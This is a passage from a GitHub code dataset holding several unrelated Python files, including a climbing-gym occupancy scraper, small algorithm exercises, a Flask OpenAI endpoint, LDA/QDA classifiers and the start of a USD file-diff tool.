['https://210.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=b8cab21X5BEfm2g8zr32eX1kgfwg1EQx'],\n        'Ingolstadt DAV': ['https://105.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=pWmH0TyDCMeBM4U5sEn6bwBqKTRt5Asq'],\n        'Kiel Kletterbar': ['https://170.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=DQ5nzAA3FqZzfvBcf1AnWyY3WB22nVrS'],\n        'Koeln Kletterfabrik': ['https://121.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=9mQ2bg0FnNDSN9TACdem9rWE0VWuntdn'],\n        'Landshut': ['https://157.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=CycEfe2pf8xmNfM39b63UeFcUz4ARsWP&hid=157&container=trafficlightContainer_1&type=2&area=1', # klettern\n                     'https://157.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=CycEfe2pf8xmNfM39b63UeFcUz4ARsWP&hid=157&container=trafficlightContainer_2&type=2&area=2', # bouldern\n                     'https://157.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=CycEfe2pf8xmNfM39b63UeFcUz4ARsWP&hid=157&container=trafficlightContainer_3&type=2&area=6'], # outdoors\n        'Memmingen': ['https://195.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=mG70kfF134tHyhE24suesB8fdMHSXAmw'],\n        'Nuernberg climbing factory': ['https://173.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=aHm2rs53fCs1H7F01dxDpeFZ5V3mKH8f'],\n        'Regensburg DAV': ['https://126.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=THbq9w2DkUhmaKv7nvrXraeFQ8BSYf6C'],\n        'Reutlingen DAV': ['https://104.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=DTRNE01KU4Bub6BMz106MBAGaukYdzzb'],\n        'Tuebingen': ['https://111.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=184xNhv6RRU7H2gVg8QFyHCYxym8DKve'],\n        'Stuttgart Roccadion': ['https://151.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=vEa0X8u7Hn8G707q9qB00aUE9c35X4Bz'],\n        'Stuttgart Rockerei': ['https://171.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=2w26F5nRKv08Yacx7XBrXzhhHrVtYF1b&hid=171&container=trafficlightContainer_1&type=2&area=1', # klettern\n                               'https://171.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=2w26F5nRKv08Yacx7XBrXzhhHrVtYF1b&hid=171&container=trafficlightContainer_2&type=2&area=2'], # bouldern\n        'Straubing': ['https://167.webclimber.de/de/trafficlight?key=9hwaBUT2G3PbrUQZ1xG3w4xCzvh98SN3'],\n    }\n    # get corresponding link for gym\n    for key, link in maps.items():\n        if key in gym_name:\n            request_url = link\n            break\n    else:\n        return 0\n\n    occupancies = []\n    for url in request_url:\n        page = requests.get(url)\n        if page.status_code != 200:\n            return 0\n        try:\n            occupancy = re.findall(r'width: (.*)%', page.text)[0]\n        except Exception:\n            occupancy = '0'\n        occupancies.append(occupancy)\n\n    occupancy = '/'.join(occupancies)\n    return occupancy\n\n\ndef get_occupancy_dav(gym_name:str, url: str) -> tuple():\n    request_url = 'https://tickboard.de/public/pos_manager/CustomerEntries/getEntriesLeft'\n    page = requests.get(request_url)\n    if page.status_code != 200:\n        return 0\n    results = re.findall(r'<div class=\"sys-hall-title\">(.*?)<\\/div>.*?Klettern:.*?(\\d*)%.*?Bouldern:.*?(\\d*)%', page.text, re.DOTALL)\n    for res in results:\n        name, klettern, bouldern = res\n        if name.replace('KB ', '') in gym_name:\n            occupancy = f\"{bouldern}/{klettern}\"\n            break\n    else:\n        occupancy = 0\n    return occupancy\n\n\ndef get_occupancy_hersbruck(gym_name:str, url: str) -> tuple():\n    # found the request in the website's developer tools. this returns a long string. use regex\n    request_url = 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IkRBVkhlcnNicnVjayJ9.EdAisBKvuApVOGYnctB9C-LZ2c3gu5kWp6CnzQPQgAk&amp'\n    page = requests.get(request_url)\n    if page.status_code != 200:\n        return 0\n    try:\n        besucher, frei = re.findall(r'<span data-value=\"(\\d*)?\"', page.text)\n        besucher, frei = float(besucher), float(frei)\n        occupancy = int(besucher / (frei + besucher) * 100)\n    except Exception:\n        occupancy = 0\n    return occupancy\n\n\ndef get_occupancy_erlangen_dav(gym_name:str, url: str) -> tuple():\n    # found the request in the website's developer tools. this returns a long string. use regex\n    request_url = 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IkRBVkVybGFuZ2VuMjMyMDIwIn0.Fr3KR0obdp_aYzCIclQTMZr0dVIxT0bfyUVODU_u64M'\n    page = requests.get(request_url)\n    if page.status_code != 200:\n        return 0\n    try:\n        besucher, frei = re.findall(r'<span data-value=\"(\\d*)?\"', page.text)\n        besucher, frei = float(besucher), float(frei)\n        occupancy = int(besucher / (frei + besucher) * 100)\n    except Exception:\n        occupancy = 0\n    return occupancy\n\n\ndef get_occupancy_einstein(gym_name:str, url: str) -> tuple():\n    with requests.Session() as session:\n        page = session.get(url)\n        if page.status_code != 200:\n            return 0, 0\n        soup = BeautifulSoup(page.content, 'html.parser')\n        try:\n            # to obtain info under #document in html https://stackoverflow.com/a/42953046/4569908\n            frame = soup.select(\"iframe\")[0]\n            frame_url = urllib.parse.urljoin(url, frame[\"src\"])\n            response = session.get(frame_url)\n            frame_soup = BeautifulSoup(response.content, 'html.parser')\n            occupancy = re.search(r'left: (\\d+)%', str(frame_soup))[1]\n        except Exception:\n            occupancy = 0\n    return occupancy\n\n####################################\n\ndef get_weather_info(location: str) -> tuple():\n    '''\n    Get weather temperature and status for a specific location\n    '''\n    temp = 0\n    status = ''\n    for i in range(5):\n        try:\n            mgr = pyowm.OWM(os.environ['OWMAPIKEY']).weather_manager()\n            observation = mgr.weather_at_place(location).weather\n            temp = int(round(observation.temperature('celsius')['temp']))\n            status = observation.status\n            break\n        except Exception:\n            print(f\"try i={i}/5. PYOWM gives timeout error at location: {location}\")\n        time.sleep(5)\n    return temp, status\n\n\ndef scrape_websites(current_time: str, gymdatadf: pd.DataFrame) -> pd.DataFrame:\n    webdata = []\n    for gym_name, gym_data in gymdatadf.items():\n        weather_temp, weather_status = get_weather_info(gym_data['location'])\n        # string -> callable function https://stackoverflow.com/a/22021058/4569908\n        scrape_data = globals()[gym_data['function']]\n        occupancy = scrape_data(gym_name, gym_data['url'])\n        print(f\"{gym_name}: occupancy={occupancy}, temp={weather_temp}, status={weather_status}\")\n        if occupancy in [0, '0/0']:\n            continue\n        webdata.append((current_time, gym_name, occupancy, weather_temp, weather_status))\n\n    webdf = pd.DataFrame(data=webdata, columns=['time', 'gym_name', 'occupancy', 'weather_temp', 'weather_status'])\n    return webdf\n\n\ndef get_current_time():\n    # https://stackoverflow.com/a/60169568/4569908\n    dt = datetime.datetime.now()\n    timeZone = pytz.timezone(\"Europe/Berlin\")\n    aware_dt = timeZone.localize(dt)\n    if aware_dt.dst() != datetime.timedelta(0,0):\n        #summer time\n        dt += datetime.timedelta(hours=2)\n    else:\n        #winter time\n        dt += datetime.timedelta(hours=1)\n    dt = dt.strftime(\"%Y/%m/%d %H:%M\")\n\n    #round to the nearest 20min interval\n    minutes = [0, 20, 40]\n    current_min = int(dt.split(':')[1])\n    distances = [abs(current_min - _min) for _min in minutes]\n    closest_min = minutes[distances.index(min(distances))]\n    current_time = dt.replace(':'+str(current_min), ':'+str(closest_min))\n    return current_time\n\n\ndef lambda_handler(event, context):\n\n    current_time = get_current_time()\n    current_time_hh_mm = datetime.datetime.strptime(current_time, '%Y/%m/%d %H:%M').strftime(\"%H:%M\")\n\n    if current_time_hh_mm < '07:00' or current_time_hh_mm > '23:00':\n        print(\"Scraping outside of opening hours, skipping\")\n        return\n\n    # download gym data from S3\n    s3.download_file(os.environ['S3_BUCKET_NAME'], os.environ['GYMDATANAME'], f\"/tmp/{os.environ['GYMDATANAME']}\")\n    gymdatadf = pd.read_json(f\"/tmp/{os.environ['GYMDATANAME']}\")\n    \n    print(f\"Current time: {current_time}\")\n    webdf = scrape_websites(current_time, gymdatadf)\n\n    # only update if occupancy in gyms is > 0\n    if webdf.empty:\n        print(\"Nothing was scraped, S3 is not updated\")\n        return\n\n    # download dataset from S3\n    dfpath = f\"/tmp/{os.environ['CSVNAME']}\"\n    s3.download_file(os.environ['S3_BUCKET_NAME'], os.environ['CSVNAME'], dfpath)\n\n    # merge boulderdata with tmp file\n    webdf.append(pd.read_csv(dfpath)).to_csv(dfpath, index=False)\n\n    # upload dataset to S3\n    s3.upload_file(dfpath, os.environ['S3_BUCKET_NAME'], os.environ['CSVNAME'])\n    print(\"Scraping done and data updated to S3\")\n    return\n","repo_name":"anebz/boulder","sub_path":"backend/lib/lambda/web_scrape.py","file_name":"web_scrape.py","file_ext":"py","file_size_in_byte":17726,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"105776950","text":"# Fizz Buzz Program\nfor i in range(100):\n    \n    # assigns remainder of i divided by 3 and 5 for fizz and buzz, respectively\n    fizz = (i+1) % 3\n    buzz = (i+1) % 5\n\n    # checks if current i is divisible by 3 and 5\n    if fizz == 0 and buzz == 0:\n        print(\"FizzBuzz\")\n    elif fizz == 0:\n        print(\"Fizz\")\n    elif buzz == 0:\n        print(\"Buzz\")\n    else:\n        print(i+1)\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/alexander_boone/lesson02/fizz_buzz.py","file_name":"fizz_buzz.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"28618900009","text":"'''\n\n    Author: Dasu Srinivas\n    Description: Given an array A having elements from 1 to N, find the duplicate element in the array\n\n'''\n\n\ndef duplicate_ele(arr):\n    for i in range(0,len(arr)):\n        if arr[abs(arr[i])-1] > 0:\n            arr[abs(arr[i])-1] = -arr[abs(arr[i])-1]\n        else:\n            return abs(arr[i])\n\n\nprint(duplicate_ele([5,3,1,4,3]))\n","repo_name":"srinivasdasu24/Programming","sub_path":"Interviewquestions/Arrays/Find the duplicate element.py","file_name":"Find the duplicate element.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22078581953","text":"\"\"\"\r\nYour company built an in-house calendar tool called HiCal. \r\nYou want to add a feature to see the times in a day when everyone is available.\r\n\"\"\"\r\n\r\ndef merge_ranges(arr):\r\n    for i in range(len(arr) - 2):\r\n        for j in range(len(arr) - (i+1)):\r\n            if arr[j][0] > arr[j+1][0]:\r\n                arr[j+1], arr[j] = arr[j], arr[j+1]\r\n    \r\n    condensed = []\r\n    i = 0\r\n    while i < len(arr) - 1:\r\n        if arr[i][1] >= arr[i+1][0]:\r\n            if arr[i][1] >= arr[i+1][1]:\r\n                condensed.append((arr[i][0], arr[i][1]))\r\n                i += 2\r\n            else:\r\n                condensed.append((arr[i][0], arr[i+1][1]))\r\n                i += 2\r\n        else:\r\n            condensed.append((arr[i][0], arr[i][1]))\r\n            i += 1\r\n    return condensed\r\n\r\nprint(merge_ranges([(0, 1), (3, 5), (4, 8), (10, 12), (9, 10)]))\r\n\r\n\r\n# ideal solution\r\n\"\"\"\r\n  def merge_ranges(meetings):\r\n    # Sort by start time\r\n    sorted_meetings = sorted(meetings)\r\n\r\n    # Initialize merged_meetings with the earliest meeting\r\n    merged_meetings = [sorted_meetings[0]]\r\n\r\n    for current_meeting_start, current_meeting_end in sorted_meetings[1:]:\r\n        last_merged_meeting_start, last_merged_meeting_end = merged_meetings[-1]\r\n\r\n        # If the current meeting overlaps with the last merged meeting, use the\r\n        # later end time of the two\r\n        if (current_meeting_start <= last_merged_meeting_end):\r\n            merged_meetings[-1] = (last_merged_meeting_start,\r\n                                   max(last_merged_meeting_end,\r\n                                       current_meeting_end))\r\n        else:\r\n            # Add the current meeting since it doesn't overlap\r\n            merged_meetings.append((current_meeting_start, current_meeting_end))\r\n\r\n    return merged_meetings\r\n\"\"\"\r\n","repo_name":"Oberkoh/array-and-string-manipulation","sub_path":"hical.py","file_name":"hical.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32687046218","text":"'''\n9.Given an array arr[] of integers and an integer K, the task is to find the greatest contiguous sub-array of size K.\nSub-array X is said to be greater than sub-array Y if the first non-matching element in both the sub-arrays has a greater\nvalue in X than in Y.\nFor example : Input: arr[] = {1, 4, 3, 2, 5}, K = 4 Output: 4 3 2 5 Two subarrays are {1, 4, 3, 2} and {4, 3, 2, 5}. First non-matching element from array1 and array 2 : 1 and 4 as 4 is greater Hence, the greater one is {4, 3, 2, 5}\nFunction Name : greatest_sub_array() Input : list Output : list\n\n'''\n\ndef greatest_sub_array(lst,k):\n    mx = lst[0]\n    arr = []\n    for i in range(0,len(lst)):\n        count = 0\n        p = i\n        for j in range(0,k):\n            if count != k:\n                arr.append(lst[p])\n                p+=1\n        \n        if i == len(lst) - k:\n            return arr\n\n        if mx < lst[i+1]:\n            mx = lst[i+1]\n            arr = []\n        else:\n            if len(arr) >= k:\n                arr = []\n            continue  \n        \n    \n#print(\"Enter array\")\n#lst = input().split()\n#lst = [int(i) for i in lst]\n#k = int(input(\"Enter integer k:\"))\n\n#anslst=greatest_sub_array(lst,k)\n#print(anslst)\n","repo_name":"csagar131/django-edyoda","sub_path":"assignment1/greatest_sub_array.py","file_name":"greatest_sub_array.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15038706701","text":"'''修改voc数据集中xml文件的filename和path为当前文件夹名称和路径'''\r\n\r\nimport os\r\nimport xml.dom.minidom\r\n\r\nfile_path = \"./Annotation\"       \r\nimg_path = \"./JPEGImage\"             \r\nxml_files = os.listdir(file_path)       # xml文件名列表\r\nimg_files = os.listdir(img_path)        # 图片文件名列表，由于xml文件以及图片名称（图片均为.jpg)后缀一一对应，因此列表内也一一对应\r\n                                        # 必须承认这样会存在问题，比如图片后缀不一样等等肯定会bug，遇到问题再修改吧\r\nfor i, xmlFile in enumerate(xml_files):  \r\n    # print(len(xml_files))   # 遍历xml文件夹\r\n    if not os.path.isdir(xmlFile):          # 不是文件夹,打开xml文件\r\n        print(\"\\n\",xmlFile)\r\n        dom = xml.dom.minidom.parse(os.path.join(file_path, xmlFile))   # 读取xml文件，送入dom解析\r\n        root = dom.documentElement                                      # 返回整个xml文档的内容\r\n        original_path = root.getElementsByTagName('path')               # 根据标签名称获取path节点\r\n        p0 = original_path[0]       \r\n        # 上述返回值是一个list，观察xml文件发现path和filename长度均为1\r\n        # print(p0)                 # p0其实是机器编码，不是具体文本\r\n        path0 = p0.firstChild.data  # 使用data是将其具体的文本内容提取出来\r\n        print(path0)\r\n        original_filename = root.getElementsByTagName('filename')  # 根据标签名称获取filename节点\r\n        f0 = original_filename[0]   # 同上\r\n        # print(f0)\r\n        fn0 = f0.firstChild.data   # 同上\r\n\r\n        img_name = img_files[i]     # 获取和xml对应的图片名称\r\n        modify_path = img_path + \"/\" + img_name       # 修改path\r\n        modify_filename = img_name                    # 修改filename\r\n        print(modify_path)\r\n        p0.firstChild.data = modify_path              # 把修改后的path值赋给path的机器码\r\n        f0.firstChild.data = modify_filename         # 把修改后的filename值赋给path的机器码\r\n\r\n        with open(os.path.join(file_path, xmlFile), 'w') as fh:\r\n            dom.writexml(fh)\r\n            print('DONE')\r\n","repo_name":"northkd/tools","sub_path":"rename_voc.py","file_name":"rename_voc.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"7646315038","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\npoints = [tuple(map(int,input().split())) for _ in range(n)]\n\narr = []\nfor x, y in points:\n    arr.append((x, 1))\n    arr.append((y, -1))\n\narr.sort(key=lambda x: (x[0], x[1]))\n\ncnt = 0\nans = 0\nfor x, v in arr:\n    cnt += v\n    ans = max(ans, cnt)\n\nprint(ans)\n\n## heap 풀이\nimport heapq\nimport sys\ninput = sys.stdin.readline\n\nN = int(input())\n\nlines = []\nfor _ in range(N):\n    lines.append(list(map(int, input().split())))\n\nlines.sort(key=lambda x : x[0])\n\nheap = []\nheapq.heappush(heap, lines[0][1])\n\nanswer = 1\n\nfor s, e in lines[1:]:\n    while heap and heap[0] <= s:\n        heapq.heappop(heap)\n    heapq.heappush(heap, e)\n    answer = max(answer, len(heap))\n\nprint(answer)","repo_name":"guswnsakvk/Algorithm","sub_path":"BackJoon/1689.py","file_name":"1689.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23284048885","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\n\nfrom openai_service import chat_request, image_request\nfrom user_info_service import handle_result, handle_image_result, get_user_info_from_db\nfrom util.logger_config import setup_logger\n\napp = Flask(__name__)\nCORS(app)\n\nlogger = setup_logger(\"app\", \"log/app.log\")\n\n\n@app.route(\"/api/chat\", methods=[\"POST\"])\ndef chat():\n    try:\n        param = request.get_data(as_text=True)\n        # Request the OpenAI interface\n        result = chat_request(param)\n        data, time = result\n        msg, code = data\n        if code != \"200\":\n            return jsonify(message=msg), 500\n        else:\n            return handle_result(request, param, result)\n    except Exception as e:\n        logger.error(f\"Unexpected exception occurred: {e}\")\n        return \"Server error\", 500\n\n\n@app.route(\"/api/image\", methods=[\"POST\"])\ndef image():\n    try:\n        param = request.get_data(as_text=True)\n        # Request the OpenAI interface\n        result = image_request(param)\n        return handle_image_result(request, result)\n    except Exception as e:\n        logger.error(f\"Unexpected exception occurred: {e}\")\n        return \"Server error\", 500\n\n\n@app.route(\"/api/get\", methods=[\"GET\"])\ndef get_user_info():\n    return get_user_info_from_db(request)\n\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=8080, debug=True)\n","repo_name":"75959523/PyChatGPT","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"18049865801","text":"import numpy as np\nimport pandas\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets\n\nnp.random.seed(1)\n\nclass LDA:\n\tdef fit(self, X, t):\n\t\tself.priors = dict()\n\t\tself.means = dict()\n\t\tself.cov = np.cov(X, rowvar=False)\n        \n\t\tself.classes = np.unique(t)\n\n\t\tfor c in self.classes:\n\t\t\tX_c = X[t == c]\n\t\t\tself.priors[c] = X_c.shape[0] / X.shape[0]\n\t\t\tself.means[c] = np.mean(X_c, axis=0)\n            \n\tdef predict(self, X):\n\t\tpreds = list()\n\t\tarr_likelihoods = [] ########\n\t\tarr_posts = [] ########\n        \n\t\tfor x in X:\n\t\t\tposts = list()\n\t\t\tarr_likelihood = [] ########\n\t\t\tfor c in self.classes:\n\t\t\t\tprior = np.log(self.priors[c])\n\t\t\t\tinv_cov = np.linalg.inv(self.cov)\n\t\t\t\tinv_cov_det = np.linalg.det(inv_cov)\n\t\t\t\tdiff = x-self.means[c]\n\t\t\t\tlikelihood = 0.5*np.log(inv_cov_det) - 0.5*diff.T @ inv_cov @ diff\n\t\t\t\tarr_likelihood.append(likelihood) ########\n\t\t\t\tpost = prior + likelihood\n\t\t\t\tposts.append(post)\n\t\t\tarr_likelihoods.append(arr_likelihood) ########\n\t\t\tarr_posts.append(posts) ########\n\t\t\tpred = self.classes[np.argmax(posts)]\n\t\t\tpreds.append(pred)\n\t\tarr_likelihoods = np.array(arr_likelihoods)\n\t\tarr_posts = np.array(arr_posts)\n\t\t\n\t\treturn np.array(preds), arr_likelihoods, arr_posts\n\nclass QDA:\n\tdef fit(self, X, t):\n\t\tself.priors = dict()\n\t\tself.means = dict()\n\t\tself.covs = dict()\n\t\tself.classes = np.unique(t)\n\t\tfor c in self.classes:\n\t\t\tX_c = X[t == c]\n\t\t\tself.priors[c] = X_c.shape[0] / X.shape[0]\n\t\t\tself.means[c] = np.mean(X_c, axis=0)\n\t\t\tself.covs[c] = np.cov(X_c, rowvar=False)\n\t\t\n\tdef predict(self, X):\n\t\tpreds = list()\n\t\tarr_likelihoods = [] ########\n\t\tarr_posts = [] ########\n\t\t\n\t\tfor x in X:\n\t\t\t#print(x)\n\t\t\tposts = list()\n\t\t\tarr_likelihood = [] ########\n\t\t\tfor c in self.classes:\n\t\t\t\tprior = np.log(self.priors[c])\n\t\t\t\tinv_cov = np.linalg.inv(self.covs[c])\n\t\t\t\tinv_cov_det = np.linalg.det(inv_cov)\n\t\t\t\tdiff = x-self.means[c]\n\t\t\t\tlikelihood = 0.5*np.log(inv_cov_det) - 0.5*diff.T @ inv_cov @ diff\n\t\t\t\tarr_likelihood.append(likelihood) ########\n\t\t\t\tpost = prior + likelihood\n\t\t\t\tposts.append(post)\n\t\t\tarr_likelihoods.append(arr_likelihood) ########\n\t\t\tarr_posts.append(posts) ########\n\t\t\tpred = self.classes[np.argmax(posts)]\n\t\t\tpreds.append(pred)\n\t\tarr_likelihoods = np.array(arr_likelihoods)\n\t\tarr_posts = np.array(arr_posts)\n\t\t\n\t\treturn np.array(preds), arr_likelihoods, arr_posts\n\n\"\"\"\niris = datasets.load_iris()\nX = iris.data[:, :2]  # we only take the first two features. We could\n                      # avoid this ugly slicing by using a two-dim dataset\ny = iris.target\n\"\"\"\n\ndata = pandas.read_csv(\"GenderHeightWeight.csv\")\n\nX = data.iloc[:, 1:3].values\ny = data.iloc[:,[0]].values.reshape(1,-1)[0]\n\n\nN_test_size = len(X)*1\nindex = np.random.choice(range(len(X)), size=int(N_test_size), replace=False)\nX = X[index]\ny = y[index]\n\nbound = LDA()\nbound.fit(X, y)\n\narr_likelihoods = bound.predict(X)[1]\narr_posts = bound.predict(X)[2]\nax = plt.axes(projection='3d')\nax.scatter(X[:,0], X[:,1], arr_likelihoods[:,0]) ########### class Female\nax.scatter(X[:,0], X[:,1], arr_likelihoods[:,1]) ########### class male\nax.set_xlabel('X0')\nax.set_ylabel('X1')\nax.set_zlabel('Likelihoods')\nplt.show()\n\t\t\nax = plt.axes(projection='3d')\nax.scatter(X[:,0], X[:,1], arr_posts[:,0]) ########### class Female\nax.scatter(X[:,0], X[:,1], arr_posts[:,1]) ########### class male\nax.set_xlabel('X0')\nax.set_ylabel('X1')\nax.set_zlabel('Posteriori')\nplt.show()\n\n#################plot decision boundary#####################\n#######1\nh = 0.1  # step size in the mesh\n\nx0_min, x0_max = X[:, 0].min() - 1, X[:, 0].max() + 1\nx1_min, x1_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n\n# create a mesh to plot in\nx0, x1= np.meshgrid(  np.arange(x0_min, x0_max, h), np.arange(x1_min, x1_max, h)  )\nprint(1)\n######2\nZ = bound.predict(np.c_[x0.ravel(), x1.ravel()])[0]\nprint(2)\n\n######3\ncopy_Z = Z.copy()\nfor i in range(len(Z)):\n\tif(Z[i] == \"Male\"):\n\t\tcopy_Z[i] = 1\n\telse:\n\t\tcopy_Z[i] = 0\n\ncopy_y = y.copy()\nfor i in range(len(y)):\n\tif(y[i] == \"Male\"):\n\t\tcopy_y[i] = 1\n\telse:\n\t\tcopy_y[i] = 0\n\ncopy_Z = copy_Z.reshape(x0.shape)\nplt.contourf(x0, x1, copy_Z, cmap=plt.cm.coolwarm, alpha=0.8)\nprint(3)\n######4\n# Plot also the training points\nplt.scatter(X[:, 0], X[:, 1], c=copy_y, cmap=plt.cm.coolwarm)\nplt.xlabel('X0')\nplt.ylabel('X1')\nplt.savefig(\"decision boundary\")\nplt.show()\nprint(4)\n","repo_name":"AndaChain/Data-Mining","sub_path":"week7/decision_boundary.py","file_name":"decision_boundary.py","file_ext":"py","file_size_in_byte":4290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26511169256","text":"from __future__ import print_function\nimport difflib, os, sys\nfrom subprocess import call\n\nimport platform\nisWindows = (platform.system() == 'Windows')\n\nNO_DIFF_FOUND_EXIT_CODE = 0\nDIFF_FOUND_EXIT_CODE = 1\nERROR_EXIT_CODE = 2\n\ndef _exit(msg, exitCode):\n    if msg is not None:\n        sys.stderr.write(msg + \"\\n\")\n    sys.exit(exitCode)\n\n# generates a command list representing a call which will generate\n# a temporary ascii file used during diffing. \ndef _generateCatCommand(usdcatCmd, inPath, outPath, flatten=None, fmt=None):\n    command = [usdcatCmd, inPath, '--out', outPath]\n    if flatten:\n        command.append('--flatten')\n\n    if fmt and os.path.splitext(outPath)[1] == '.usd':\n        command.append('--usdFormat')\n        command.append(fmt)\n\n    return command\n\ndef _findExe(name):\n    from distutils.spawn import find_executable\n    cmd = find_executable(name)\n    \n    if cmd:\n        return cmd\n    else:\n        cmd = find_executable(name, path=os.path.abspath(os.path.dirname(sys.argv[0])))\n        if cmd:\n            return cmd\n\n    if isWindows:\n        # find_executable under Windows only returns *.EXE files\n        # so we need to traverse PATH.\n        for path in os.environ['PATH'].split(os.pathsep):\n            base = os.path.join(path, name)\n            # We need to test for name.cmd first because on Windows, the USD\n            # executables are wrapped due to lack of N*IX style shebang support\n            # on Windows.\n            for ext in ['.cmd', '']:\n                cmd = base + ext\n                if os.access(cmd, os.X_OK):\n                    return cmd\n    return None\n\n# looks up a suitable diff tool, and locates usdcat\ndef _findDiffTools():\n    usdcatCmd = _findExe(\"usdcat\")\n    if not usdcatCmd:\n        _exit(\"Error: Could not find 'usdcat'. Expected it to be in PATH\", \n              ERROR_EXIT_CODE)\n\n    # prefer USD_DIFF, then DIFF, else use the internal unified diff.\n    diffCmd = (os.environ.get('USD_DIFF') or os.environ.get('DIFF'))\n    diffCmdArgs = list()\n    if diffCmd:\n        diffCmdList = diffCmd.split()\n        diffCmd = diffCmdList[0]\n        if diffCmdList[1:]:\n            diffCmdArgs = diffCmdList[1:]\n    if diffCmd and not _findExe(diffCmd):\n        _exit(\"Error: Failed to find diff tool %s.\" % (diffCmd, ),\n              ERROR_EXIT_CODE)\n\n    return (usdcatCmd, diffCmd, diffCmdArgs)\n\ndef _getFileFormat(path):\n    from wabi import Sdf, Ar\n\n    # Note that python's os.path.splitext retains the '.' portion\n    # when obtaining an extension, but Sdf's Fileformat API doesn't \n    # expect one. We also make sure to prune out any version specifiers.\n    _, ext = os.path.splitext(path)\n    path = Ar.GetResolver().Resolve(path)\n    if path is None:\n        return None\n\n    if len(ext) <= 1:\n        fileFormat = Sdf.FileFormat.FindByExtension('usd')\n    else:\n        prunedExtension = ext[1:]\n        versionSpecifierPos = prunedExtension.rfind('#')\n        if versionSpecifierPos != -1:\n            prunedExtension = prunedExtension[:versionSpecifierPos]\n         \n        fileFormat = Sdf.FileFormat.FindByExtension(prunedExtension)\n\n    # Don't check if file exists - this should be handled by resolver (and\n    # path may not exist / have been fetched yet)\n    if fileFormat:\n        return fileFormat.formatId\n\n    return None\n\ndef _convertTo(inPath, outPath, usdcatCmd, flatten=None, fmt=None):\n    # Just copy empty files -- we want something to diff against but\n    # the file isn't valid usd.\n    try:\n        if os.stat(inPath).st_size == 0:\n            import shutil\n            try:\n                shutil.copy(inPath, outPath)\n                return 0\n            except:\n                return 1\n    except (IOError, OSError):\n        # assume it's because file doesn't exist yet, because it's an unresolved\n        # path...\n        pass\n    return call(_generateCatCommand(usdcatCmd, inPath, outPath, flatten, fmt))\n\ndef _tryEdit(fileName, tempFileName, usdcatCmd, fileType, flattened):\n    if flattened:\n        _exit('Error: Cannot write out flattened result.', ERROR_EXIT_CODE)\n\n    if not os.access(fileName, os.W_OK):\n        _exit('Error: Cannot write to %s, insufficient permissions' % fileName,\n              ERROR_EXIT_CODE)\n    \n    return _convertTo(tempFileName, fileName, usdcatCmd, flatten=None, fmt=fileType)\n\ndef _runDiff(baseline, comparison, flatten, noeffect, brief):\n    from wabi import Tf\n\n    diffResult = 0\n\n    usdcatCmd, diffCmd, diffCmdArgs = _findDiffTools()\n    baselineFileType = _getFileFormat(baseline)\n    comparisonFileType = _getFileFormat(comparison)\n\n    pluginError = 'Error: Cannot find supported file format plugin for %s'\n    if baselineFileType is None:\n        _exit(pluginError % baseline, ERROR_EXIT_CODE)\n\n    if comparisonFileType is None:\n        _exit(pluginError % comparison, ERROR_EXIT_CODE)\n\n    # Generate recognizable suffixes for our files in the temp dir\n    # location of the form /temp/string__originalFileName.usda \n    # where originalFileName is the basename(no extension) of the original file.\n    # This allows users to tell which file is which when diffing.\n    tempBaselineFileName = (\"__\" + \n        os.path.splitext(os.path.basename(baseline))[0] + '.usda') \n    tempComparisonFileName = (\"__\" +     \n        os.path.splitext(os.path.basename(comparison))[0] + '.usda')\n\n    with Tf.NamedTemporaryFile(suffix=tempBaselineFileName) as tempBaseline, \\\n         Tf.NamedTemporaryFile(suffix=tempComparisonFileName) as tempComparison:\n\n        # Dump the contents of 